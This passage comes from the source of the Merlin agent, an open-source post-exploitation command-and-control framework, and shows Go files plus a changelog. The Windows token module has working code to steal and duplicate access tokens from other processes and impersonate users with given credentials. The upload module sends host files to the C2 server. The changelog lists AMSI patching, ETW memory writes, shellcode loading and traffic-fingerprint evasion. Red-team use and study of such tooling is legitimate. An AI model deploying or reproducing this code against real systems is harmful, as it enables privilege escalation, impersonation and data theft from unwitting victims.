results.Stderr = stderrBuffer.String() return } ================================================ FILE: commands/tokens.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" // Merlin "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // Token is the entrypoint for Jobs that are processed to determine which Token function should be executed func Token(cmd jobs.Command) jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering Token() with %+v", cmd)) return jobs.Results{ Stderr: "the Token module is not supported by this agent type", } } ================================================ FILE: commands/tokens_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" "os" "strconv" "strings" // X Packages "golang.org/x/sys/windows" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens" ) // Token is the entrypoint for Jobs that are processed to determine which Token function should be executed func Token(cmd jobs.Command) jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering Token() with %+v", cmd)) if len(cmd.Args) > 0 { switch strings.ToLower(cmd.Args[0]) { case "make": if len(cmd.Args) < 3 { return jobs.Results{ Stderr: fmt.Sprintf("not enough arguments %d for the token make command", len(cmd.Args)), } } return makeToken(cmd.Args[1], cmd.Args[2]) case "privs": if len(cmd.Args) > 1 { return listPrivileges(cmd.Args[1]) } else { return listPrivileges("0") } case "rev2self": return rev2self() case "steal": if len(cmd.Args) < 2 { return jobs.Results{ Stderr: "A Process ID (PID) must be provided for the token steal command", } } pid, err := strconv.Atoi(cmd.Args[1]) if err != nil { return jobs.Results{ Stderr: fmt.Sprintf("there was an error converting PID %s to an integeter: %s", cmd.Args[1], err), } } return stealToken(uint32(pid)) case "whoami": return whoami() default: j := jobs.Results{ Stderr: fmt.Sprintf("unrecognized Windows Access Token command: %s", cmd.Args[0]), } return j } } j := jobs.Results{ Stderr: "no arguments were provided to the Windows Access Token module", } return j } // All functions in this file should return jobs.Results, else the function should go in os\windows\pkg\tokens // listPrivileges will enumerate the privileges associated with a Windows access token // If the Process ID (pid) is 0, then the privileges for the token associated with current process will be enumerated func listPrivileges(processID string) (results jobs.Results) { // Convert PID from string to int pid, err := strconv.Atoi(processID) if err != nil { results.Stderr = fmt.Sprintf("there was an error converting %s to an integer: %s", processID, err) return } var token windows.Token if pid == 0 && tokens.Token != 0 { pid = os.Getpid() token = tokens.Token results.Stdout += "Enumerating privileges using previously stolen or created Windows access token\n" } else { if pid == 0 { pid = os.Getpid() } // Get a handle to the current process var hProc windows.Handle hProc, err = windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, uint32(pid)) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling windows.OpenProcess(): %s", err) return } // Close the handle when done defer func() { err2 := windows.CloseHandle(hProc) if err2 != nil { results.Stderr += fmt.Sprintf("there was an error calling windows.CloseHandle() for the process: %s\n", err2) } }() // Use process handle to get a token err = windows.OpenProcessToken(hProc, windows.TOKEN_QUERY, &token) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling windows.OpenProcessToken(): %s", err) return } // Close the handle when done defer func() { err2 := token.Close() if err2 != nil { results.Stderr += fmt.Sprintf("there was an error calling token.Close(): %s\n", err2) } }() } // Get token integrity level integrityLevel, err := tokens.GetTokenIntegrityLevel(token) if err != nil { results.Stderr = err.Error() return } // Get the privileges and attributes privs, err := tokens.GetTokenPrivileges(token) if err != nil { results.Stderr = err.Error() return } results.Stdout += fmt.Sprintf("Process ID %d access token integrity level: %s, privileges (%d):\n", pid, integrityLevel, len(privs)) for _, priv := range privs { results.Stdout += fmt.Sprintf("\tPrivilege: %s, Attribute: %s\n", tokens.PrivilegeToString(priv.Luid), tokens.PrivilegeAttributeToString(priv.Attributes)) } return } // makeToken creates a new type 9 logon session for the provided user and applies the returned Windows access token to // the current process using the ImpersonateLoggedOnUser Windows API call func makeToken(username, password string) (results jobs.Results) { // Make token token, err := tokens.LogonUser(username, password, "", tokens.LOGON32_LOGON_NEW_CREDENTIALS, tokens.LOGON32_PROVIDER_DEFAULT) if err != nil { results.Stderr = err.Error() return } tokens.Token = token // Get Token Stats stats, err := tokens.GetTokenStats(token) if err != nil { results.Stderr = err.Error() return } results.Stdout = fmt.Sprintf("Successfully created a Windows access token for %s with a logon ID of 0x%X", username, stats.AuthenticationId.LowPart) return } // rev2self releases or drops any impersonation tokens applied to the current process, reverting to its original state func rev2self() (results jobs.Results) { tokens.Token = 0 err := windows.RevertToSelf() if err != nil { results.Stderr = err.Error() return } results.Stdout = "Successfully reverted to self and dropped the impersonation token" return } // stealToken is a wrapper function that steals a token and applies it to the current process func stealToken(pid uint32) (results jobs.Results) { if pid == 0 { results.Stderr = fmt.Sprintf("invalid Process ID (PID) of %d", pid) return } handle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, pid) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling kernel32!OpenProcess: %s", err) return } // Defer closing the process handle defer func() { err = windows.Close(handle) if err != nil { results.Stderr += fmt.Sprintf("\n%s", err) } }() // Use the process handle to get its access token // These token privs are required to call CreateProcessWithToken or later DesiredAccess := windows.TOKEN_DUPLICATE | windows.TOKEN_ASSIGN_PRIMARY | windows.TOKEN_QUERY var token windows.Token err = windows.OpenProcessToken(handle, uint32(DesiredAccess), &token) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling advapi32!OpenProcessToken: %s", err) return } // Duplicate the token with maximum permissions var dupToken windows.Token err = windows.DuplicateTokenEx(token, windows.MAXIMUM_ALLOWED, &windows.SecurityAttributes{}, windows.SecurityImpersonation, windows.TokenPrimary, &dupToken) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling windows.DuplicateTokenEx: %s", err) return } tokens.Token = dupToken // Get Thread Token TOKEN_STATISTICS structure statThread, err := tokens.GetTokenStats(tokens.Token) if err != nil { return } // Get Thread Username userThread, err := tokens.GetTokenUsername(tokens.Token) if err != nil { results.Stderr = err.Error() return } results.Stdout = fmt.Sprintf("Successfully stole token from PID %d for user %s with LogonID 0x%X", pid, userThread, statThread.AuthenticationId.LowPart) return } // whoami enumerates information about both the process and thread token currently being used func whoami() (results jobs.Results) { // Process tProc := windows.GetCurrentProcessToken() // Get Process Username userProc, err := tokens.GetTokenUsername(tProc) if err != nil { results.Stderr = err.Error() return } // Get Process Token TOKEN_STATISTICS structure statProc, err := tokens.GetTokenStats(tProc) if err != nil { results.Stderr = err.Error() return } results.Stdout += fmt.Sprintf("Process (%s) Token:\n", tokens.TokenTypeToString(statProc.TokenType)) results.Stdout += fmt.Sprintf("\tUser: %s", userProc) results.Stdout += fmt.Sprintf(",Token ID: 0x%X", statProc.TokenId.LowPart) results.Stdout += fmt.Sprintf(",Logon ID: 0x%X", statProc.AuthenticationId.LowPart) results.Stdout += fmt.Sprintf(",Privilege Count: %d", statProc.PrivilegeCount) results.Stdout += fmt.Sprintf(",Group Count: %d", statProc.GroupCount) results.Stdout += fmt.Sprintf(",Type: %s", tokens.TokenTypeToString(statProc.TokenType)) results.Stdout += fmt.Sprintf(",Impersonation Level: %s", tokens.ImpersonationToString(statProc.ImpersonationLevel)) // Process Token Integrity Level pLevel, err := tokens.GetTokenIntegrityLevel(tProc) if err != nil { results.Stderr = err.Error() return } results.Stdout += fmt.Sprintf(",Integrity Level: %s", pLevel) // Thread var tThread windows.Token // Lost the fight against the Go runtime managing threads, so I can't depend on this thread having the token if tokens.Token != 0 { tThread = tokens.Token } else { tThread = windows.GetCurrentThreadEffectiveToken() //tThread = windows.GetCurrentThreadToken() } // Get Thread Token TOKEN_STATISTICS structure statThread, err := tokens.GetTokenStats(tThread) if err != nil { results.Stderr = err.Error() return } // Get Thread Username userThread, err := tokens.GetTokenUsername(tThread) if err != nil { results.Stderr = err.Error() return } results.Stdout += fmt.Sprintf("\nThread (%s) Token:\n", tokens.TokenTypeToString(statThread.TokenType)) results.Stdout += fmt.Sprintf("\tUser: %s", userThread) results.Stdout += fmt.Sprintf(",Token ID: 0x%X", statThread.TokenId.LowPart) results.Stdout += fmt.Sprintf(",Logon ID: 0x%X", statThread.AuthenticationId.LowPart) results.Stdout += fmt.Sprintf(",Privilege Count: %d", statThread.PrivilegeCount) results.Stdout += fmt.Sprintf(",Group Count: %d", statThread.GroupCount) results.Stdout += fmt.Sprintf(",Type: %s", tokens.TokenTypeToString(statThread.TokenType)) results.Stdout += fmt.Sprintf(",Impersonation Level: %s", tokens.ImpersonationToString(statThread.ImpersonationLevel)) // Process Token Integrity Level tLevel, err := tokens.GetTokenIntegrityLevel(tThread) if err == nil { results.Stdout += fmt.Sprintf(",Integrity Level: %s", tLevel) } return } ================================================ FILE: commands/unlink.go ================================================ package commands import ( // Standard "encoding/base64" "fmt" "time" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // Unlink terminates a peer-to-peer Agent connection func Unlink(cmd jobs.Command) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("commands/unlink.Unlink(): entering into function with %+v", cmd)) if len(cmd.Args) < 1 { return jobs.Results{Stderr: fmt.Sprintf("expected 1 arguments with the link command, received %d: %+v", len(cmd.Args), cmd.Args)} } // Convert Agent ID to UUID agentID, err := uuid.Parse(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("commands/unlink.Unlink(): there was an error converting Agent ID %s to a valid UUID: %s", cmd.Args[0], err) return } link, err := peerToPeerService.GetLink(agentID) if err != nil { results.Stderr = fmt.Sprintf("commands/unlink.Unlink(): there was an error getting the link for %s: %s", cmd.Args[0], err) return } // If there is a second argument, it contains a final message to send to the child agent before unlinking if len(cmd.Args) > 1 { delegate := messages.Delegate{ Agent: agentID, } // Base64 decode the message delegate.Payload, err = base64.StdEncoding.DecodeString(cmd.Args[1]) if err != nil { results.Stderr = fmt.Sprintf("commands/unlink.Unlink(): there was an error base64 decoding the embedded messagek, (%d) bytes, for %s: %s", len(cmd.Args[1]), agentID, err) return } // Send the message to the child agent cli.Message(cli.NOTE, fmt.Sprintf("Sending final message to child agent %s before removing peer-to-peer link at %s", agentID, time.Now().UTC().Format(time.RFC3339))) peerToPeerService.Handle([]messages.Delegate{delegate}) } // Remove the link err = peerToPeerService.Remove(agentID) if err != nil { results.Stderr += fmt.Sprintf("commands/unlink.Unlink(): there was an error removing the link for %s: %s", agentID, err) } else { results.Stdout = fmt.Sprintf("Successfully unlinked from %s Agent %s and closed the network connection", link.String(), agentID) } cli.Message(cli.DEBUG, fmt.Sprintf("commands/unlink.Unlink(): leaving the function with %+v", results)) return } ================================================ FILE: commands/upload.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard // #nosec G505 -- Random number does not impact security "crypto/sha1" "encoding/base64" "fmt" "io" "os" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // Upload receives a job from the server to upload a file from the host to the Merlin server func Upload(transfer jobs.FileTransfer) (ft jobs.FileTransfer, err error) { cli.Message(cli.DEBUG, "Entering into commands.Upload() function") // Agent will be uploading a file to the server cli.Message(cli.NOTE, "FileTransfer type: Upload") // Setup OS environment, if any err = Setup() if err != nil { return jobs.FileTransfer{}, err } defer func() { err2 := TearDown() if err2 != nil { if err != nil { err = fmt.Errorf("there were multiple errors. 1. %s 2. %s", err, err2) } else { err = err2 } } }() fileData, fileDataErr := os.ReadFile(transfer.FileLocation) if fileDataErr != nil { cli.Message(cli.WARN, fmt.Sprintf("There was an error reading %s", transfer.FileLocation)) cli.Message(cli.WARN, fileDataErr.Error()) return jobs.FileTransfer{}, fmt.Errorf("there was an error reading %s:\r\n%s", transfer.FileLocation, fileDataErr.Error()) } fileHash := sha1.New() // #nosec G401 // Use SHA1 because it is what many Blue Team tools use _, errW := io.WriteString(fileHash, string(fileData)) if errW != nil { cli.Message(cli.WARN, fmt.Sprintf("There was an error generating the SHA1 file hash e:\r\n%s", errW.Error())) } cli.Message(cli.NOTE, fmt.Sprintf("Uploading file %s of size %d bytes and a SHA1 hash of %x to the server", transfer.FileLocation, len(fileData), fileHash.Sum(nil))) ft = jobs.FileTransfer{ FileLocation: transfer.FileLocation, FileBlob: base64.StdEncoding.EncodeToString(fileData), IsDownload: true, } return ft, nil } ================================================ FILE: commands/uptime.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // Uptime retrieves the system's uptime // Windows only func Uptime() jobs.Results { cli.Message(cli.DEBUG, "entering Uptime()") return jobs.Results{ Stderr: "the Uptime command is not supported by this agent type", } } ================================================ FILE: commands/uptime_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" "time" // Sub Repositories "golang.org/x/sys/windows" // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-message/jobs" ) // Uptime uses the Windows API to get the host's uptime func Uptime() jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering Uptime()")) var results jobs.Results kernel32 := windows.NewLazySystemDLL("kernel32") GetTicketCount64 := kernel32.NewProc("GetTickCount64") r1, _, err := GetTicketCount64.Call(0, 0, 0, 0) if err.Error() != "The operation completed successfully." { results.Stderr = fmt.Sprintf("\nA call to kernel32.GetTickCount64 in the uptime command returned an error:\n%s", err) } else { results.Stdout = fmt.Sprintf("\nSystem uptime: %s\n", (time.Duration(r1) * time.Millisecond)) } return results } ================================================ FILE: core/core.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package core contains pieces of information or functions needed across the entire application package core import ( // Standard "math/rand" "sync" "time" ) // Global Variables // Verbose indicates if the agent should write messages to STDOUT var Verbose = false // Debug is used to troubleshoot problems and results in very detailed information being displayed on STDOUT var Debug = false // Version is the Merlin Agent's version number var Version = "2.4.3" // Build is the build number of the Merlin Agent program set at compile time var Build = "nonRelease" // Mutex is used to ensure exclusive access to STDOUT & STDERR var Mutex = &sync.Mutex{} var src = rand.NewSource(time.Now().UnixNano()) // Constants const ( letterIdxBits = 6 // 6 bits to represent a letter index letterIdxMask = 1<= 0; { if remain == 0 { cache, remain = src.Int63(), letterIdxMax } if idx := int(cache & letterIdxMask); idx < len(letterBytes) { b[i] = letterBytes[idx] i-- } cache >>= letterIdxBits remain-- } return string(b) } ================================================ FILE: docs/CHANGELOG.MD ================================================ # Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). ## 2.4.3 - 2025-04-16 ### Changed - Upgraded the minimum version of go to v1.23 - Upgraded the following libraries - golang.org/x/crypto v0.28.0 => v0.37.0 - golang.org/x/net v0.30.0 => v0.39.0 - golang.org/x/sync v0.8.0 => v0.13.0 - golang.org/x/sys v0.26.0 => v0.32.0 - golang.org/x/text v0.19.0 => v0.24.0 - github.com/go-jose/go-jose/v3 v3.0.3 => v3.0.4 - github.com/quic-go/quic-go v0.47.0 => v0.50.1 ## 2.4.2 - 2024-10-14 ### Fixed - Fixed [Issue 43](https://github.com/Ne0nd0g/merlin-agent/issues/43) - Added `fmt` import to FreeBSD shell ### Changed - Check if Mythic client configuration contained a PSK for the Mythic `http` C2 profile - Upgraded the following libraries: - golang.org/x/crypto v0.22.0 => v0.28.0 - golang.org/x/net v0.24.0 => v0.30.0 - golang.org/x/sys v0.19.0 => v0.26.0 - golang.org/x/text v0.14.0 => v0.19.0 - github.com/fatih/color v1.16.0 => v1.17.0 - github.com/quic-go/quic-go v0.42.0 => v0.47.0 - github.com/refraction-networking/utls v1.6.4 => v1.6.7 ## 2.4.1 - 2024-04-23 ### Changed - Upgraded golang.org/x/crypto v0.21.0 => v0.22.0 - Upgraded golang.org/x/sys v0.18.0 => v0.19.0 - Upgraded golang.org/x/mod v0.16.0 => v0.17.0 - Upgraded golang.org/x/tools v0.19.0 => v0.20.0 - Upgraded golang.org/x/exp v0.0.0-20240318143956-a85f2c67cd81 => v0.0.0-20240416160154-fe59bbe5cc7f - Upgraded github.com/google/pprof v0.0.0-20240320155624-b11c3daa6f07 => v0.0.0-20240422182052-72c8669ad3e7 - Upgraded github.com/onsi/ginkgo/v2 v2.17.0 => v2.17.1 - Upgraded github.com/klauspost/compress v1.17.7 => v1.17.8 - Upgraded github.com/refraction-networking/utls v1.6.3 => v1.6.4 - GoVulnCheck to use the latest version of Go ### Security - [GO-2024-2687](https://pkg.go.dev/vuln/GO-2024-2687) - Upgraded `golang.org/x/net` to v0.24.0 to address CVE-2024-2687 ## 2.4.0 - 2024-03-23 ### Added - Mythic client handles multiple HTTP headers with the Mythic `http` C2 Profile - Automatic Windows HTTP proxy authentication through the `winhttp` API - Added the `-http-client` command line argument and `HTTPCLIENT` Makefile variable to specify which HTTP client to use - Use `go` for the default Go HTTP client - Use `winhttp` API for HTTP C2 - Use `go build` tags to control which C2 clients are compiled into the agent. [Build Tags](https://merlin-c2.readthedocs.io/en/latest/agent/custom.html#build-tags) - When ANY build tag is included, the agent will ONLY include that feature and nothing else. For example, if ONLY the http tag is provided, the SMB, TCP, and UDP clients will not be included. - If one of the following build tags is used, then only the C2 profiles provided will be compiled in - `http` - Include all HTTP clients (including HTTP/1.1, HTTP/2, and HTTP/3) - `http1` - Include HTTP/1.1 client - `http2` - Include HTTP/2 client - `http3` - Include HTTP/3 client - `winhttp` - Include Windows `winhttp` API client - `mythic` - Include the Mythic client for the Mythic `http` C2 profile - `smb` - Include SMB client - `tcp` - Include TCP client - `udp` - Include UDP client ### Fixed - Resolved several SOCKS5 issues - Updated Mythic client to handle `post_response` actions with `ServerPostResponse` structure to include SOCKS information - Created a go routine and a channel just for sending SOCKS data in place of using the Jobs channel - [Issue 38](https://github.com/Ne0nd0g/merlin-agent/issues/38) - Added `evasion_386.go` to facilitate x86 Windows builds ### Changed - Upgraded the following libraries to their latest version - upgraded golang.org/x/net v0.21.0 => v0.22.0 - upgraded github.com/google/uuid v1.5.0 => v1.6.0 - upgraded github.com/quic-go/quic-go v0.40.1 => v0.42.0 - upgraded github.com/refraction-networking/utls v1.6.0 => v1.6.3 ### Security - Upgraded go-jose/v3 to v3.0.3 to address CVE-2024-28180 ## 2.3.0 - 2023-12-26 ### Added - Support to decode Simplified Chinese (Code Page 936) encoding to UTF-8 - Support to decode Traditional Chinese (Code Page 950) encoding to UTF-8 - Support to decode Korean (Code Page 949) encoding to UTF-8 - Added 'RSA' as a valid authentication method for Mythic EKE - Added 'mythic' encoder to transform messages in the format Mythic expects them in ### Changed - Refactored clients/mythic to correctly implement the Client interface from merlin-agent/v2 package - Moved encryption out of the client and into the transforms - Accepts authenticator, transforms, and secure TLS configuration items - Upgraded: - `github.com/Ne0nd0g/merlin-message` to v1.3.0 - `golang.org/x/net` to v0.19.0 - `github.com/quic-go/quic-go` to v0.40.1 - `github.com/refraction-networking/utls` to v1.6.0 - Removed `GOGARBLE` environment variable from Makefile ## 2.2.0 - 2023-12-14 ### Added - New `os/windows/pkg/text` package to detect and handle non UTF-8 encoding - Only handles ShiftJIS at this moment - Will replace non UTF-8 characters with a � character ### Fixed - [Issue 33](https://github.com/Ne0nd0g/merlin-agent/issues/33) - Added handling for ShiftJIS encoding ## 2.1.0 - 2023-11-27 ### Changed - Allow the TLS X509 certificate validation setting to be passed through to JA3 and Parrot clients - JA3 & Parrot HTTP transports use agent's `-secure` command line argument to determine if TLS X.509 certificate validation should be performed - Upgraded the following modules - `golang.org/x/sys v0.13.0 => v0.14.0` - `golang.org/x/net v0.17.0 => v0.18.0` - `github.com/go-jose/go-jose/v3 v3.0.0 => v3.0.1` - `github.com/fatih/color v1.15.0 => v1.16.0` ### Fixed - [Issue 26](https://github.com/Ne0nd0g/merlin-agent/issues/26) - uTLS package uses HTTP proxy if provided or from environment variables - Implemented a custom dialer to connect to the proxy first and then the destination - uTLS package for correctly set the TLS version from the provided JA3 string ## 2.0.0 - 2023-11-03 ### Added - Peer-to-Peer Agent communication methods: smb-bind, smb-reverse, tcp-bind, tcp-reverse, udp-bind, udp-reverse - An associated Listener UUID must be provided with `-listener` command line argument or `LISTENER` Make file variable - An associated network interface and port must be provided with the `-addr` command line argument or `ADDR` Make file variable - `Delegate` message type and associated handling - Configurable Agent authentication methods: OPAQUE & none - Added `auth` variable to main.go - Added `AUTH` variable to Make file (e.g., `make windows AUTH=OPAQUE`) - Added `-auth` command line argument - Configurable Agent transforms: gob-base, gob-string, base64-byte, base64-string, hex,-byte, hex-string, aes, jwe, rc4, and xor - Added `transforms` variable to main.go - Added `TRANSFORMS` variable to Make file (e.g., `make windows TRANSFORMS=aes,gob-base) - Added `-transforms` command line argument - `link` command for the Agent to initiate a peer-to-peer connection with a listening bind agent - Example: `link tcp 192.168.1.72:4444` - `listener` command for the Agent to start a listener to receive a connection from a reverse peer-to-peer connection - `list` to return a list of instantiated on the Agent (e.g., `listener list`) - `start` to start a listener based on the passed in type and interface - Example: `listener start tcp 0.0.0.0:4444` - `stop` to stop an already created listener - Example: `listener stop tcp [::]:4444` - `unlink` command to disconnect a chile peer-to-peer agent from its parent - Example: `unlink childAgentID` - GitHub Actions for building and testing the Merlin Agent - Implemented "services" and "repositories" - Services are: agent, client, job, message, and p2p - Configurable TLS x.509 certificate validation - Default is `false`, TLS certificates are not validated - Added `-secure` command line argument to require TLS X.509 certificate validation - Added `SECURE` variable to Make file (e.g., `make windows SECURE=true`) ### Changed - Moved from `Initial` to `Authenticated` for Agent struct - Removed tests - Upgraded [quic-go](https://github.com/quic-go/quic-go) to v0.40.0 - The Minimum supported Go version is now 1.20 - HTTP URL rotation strategy is now random instead of round-robin - Replaced `github.com/satori/go.uuid` with `github.com/google/uuid` - Replaced `github.com/square/go-jose` with `github.com/go-jose/go-jose` - Replaced `github.com/Ne0nd0g/merlin/pkg/messages` with `github.com/Ne0nd0g/merlin-message` - Removes the need to depend on or import the Merlin Server package ## 1.6.5 - 2023-06-10 ### Changed - Replaced manual Windows DLL and procedure loads for Golang's Windows package and moved remaining to `os/windows/api` directory - Replaced `PAGE_EXECUTE_READWRITE` with `PAGE_READWRITE` for shellcode memory allocation - Replaced `PAGE_EXECUTE` with `PAGE_EXECUTE_READ` after shellcode memory allocation ### Fixed - [Issue 28](https://github.com/Ne0nd0g/merlin-agent/issues/28) - Use Golang's Windows package for API calls where possible ## 1.6.4 - 2023-06-08 ### Changed - Updated the Mythic client to handle the new "download" workflow for Mythic v3.0.0 ## 1.6.3 - 2023-03-15 ### Fixed - [Issue 25](https://github.com/Ne0nd0g/merlin-agent/issues/25) - Updated Mythic CheckIn structure's PID to integer ## 1.6.2 - 2023-03-08 ### Fixed - [Issue 22](https://github.com/Ne0nd0g/merlin-agent/issues/22) - Upgraded https://github.com/Ne0nd0g/merlin from v1.5.0 to v1.5.1 ### Security - [PR 23](https://github.com/Ne0nd0g/merlin-agent/pull/23) - Bump golang.org/x/net from 0.1.0 to 0.7.0 by dependabot ## 1.6.1 - 2023-03-01 ### Fixed - [Issue 24](https://github.com/Ne0nd0g/merlin-agent/issues/24) - Adjusted the `shell` function call ## 1.6.0 - 2022-11-11 ### Added - Parrot specific web browsers through [utls](https://github.com/refraction-networking/utls#parroting) library - Use the agent's `-parrot` command line argument - Use the Makefile's `PARROT=` command line argument - Can be changed while the agent is already running - Examples include `HelloChrome_102` or `HelloRandomized` - [List of available strings](https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_common.go#L150) - If a JA3 string is provided, the parrot string will be ignored ### Changed - Require Go v1.19 - The agent package `New()` function will only print errors to STDOUT instead of returning an error to ensure execution - JA3 transports are now generated from clients/utls - Upgraded go-clr to v1.0.3 - Upgraded quic-go to v0.30.0 ### Fixed - [Issue 20](https://github.com/Ne0nd0g/merlin-agent/issues/20) - Manually get username & group for Windows - [Issue 21](https://github.com/Ne0nd0g/merlin-agent/issues/21) - Resolved file download re-write error ### Removed - Removed [ja3transport](https://github.com/Ne0nd0g/ja3transport) module and moved code into clients/utls ## 1.5.0 - 2022-07-22 ### Added - Added new SOCKS5 functionality ### Changed - Go v1.18 is now the minimum supported version - Upgraded [quic-go](https://github.com/lucas-clemente/quic-go/) to v0.28.0 - Upgraded [Go JOSE](https://github.com/square/go-jose) to v2.6.0 - The `Send()` of the `ClientInterface` interface returns a list of messages.Base instead of a single message - Initial checkin immediately responds to first AgentInfo request after authenticating instead of after sleep time ### Fixed - [Issue 17](https://github.com/Ne0nd0g/merlin-agent/issues/17) - Ensure process structure pointer is not nil ## 1.4.2 - 2022-05-03 ### Fixed - [Issue 9](https://github.com/Ne0nd0g/merlin-agent/issues/9) - Replaced `TokenGroup` with `TokenUser` - [Issue 14](https://github.com/Ne0nd0g/merlin-agent/issues/14) - Let writer close channel and don't try to close STDIN - [Issue 16](https://github.com/Ne0nd0g/merlin-agent/issues/16) - Handle `jobs.Results` & `jobs.AgentInfo` in `jobsHandler()` ## 1.4.1 - 2022-04-12 ### Added - Go build tags to separate out Mythic client from standalone HTTP1/2/3 client - Added `SLEEP` to Make file (e.g., `make windows SLEEP=2m`) ### Fixed - [Issue 13](https://github.com/Ne0nd0g/merlin-agent/issues/13) - Added byte slice variable as a workaround ### Changed - Upgraded [quic-go](https://github.com/lucas-clemente/quic-go/) to v0.27.0 for Go 1.18 support ## 1.4.0 - 2022-04-02 ### Added - Added a new `memory` command for Windows agents to read/write memory - Uses direct syscalls for `NtReadVirtualMemory`, `NtProtectVirtualMemory`, & `ZwWriteVirtualMemory` implemented using [BananaPhone](https://github.com/C-Sto/BananaPhone) - The commands take module name (e.g., `ntdll.dll`) and a procedure name (e.g., `EtwEventWrite`) to target read/write operations - The `read` command will just read the specified number of bytes and return the results - The `write` command will just write the specified bytes without reading them first - The `patch` command will find a specified function, read the existing bytes, and then overwrite it with the provided bytes - Added `AmsiScanBuffer` patch when loading assemblies into the agent process through the `load-assembly` command ### Changed - Upgraded go-clr package to tagged version 1.0.2 ## 1.3.1 - 2022-03-22 ### Added - Added [Garble](https://github.com/burrowers/garble) builds to the Make file - `windows-garble`, `linux-garble`, & `darwin-garble` - **THE SERVER MUST BE GARBLED WITH THE EXACT SAME SEED** - Specify the seed at build with `make windows-debug SEED=` - Added `GetProcessWindowStation` and `GetThreadDesktop` functions in the `user32` package ### Changed - Renamed the `SendMerlinMessage` function of the `ClientInterface` to just `Send()` - Modified `CreateProcessWithToken` function in the `windows/os/pkg/tokens` package to adjust the caller's station and desktop DACLs if the token user belongs to a different session ### Fixed - [Issue 10](https://github.com/Ne0nd0g/merlin-agent/issues/10) - The `shell` command now uses associated impersonation token - [Issue 11](https://github.com/Ne0nd0g/merlin-agent/issues/11) - The token is now passed along with execution - [Issue 12](https://github.com/Ne0nd0g/merlin-agent/issues/12) - If running as `NT AUTHORITY\SYSTEM` with an impersonation token, Call 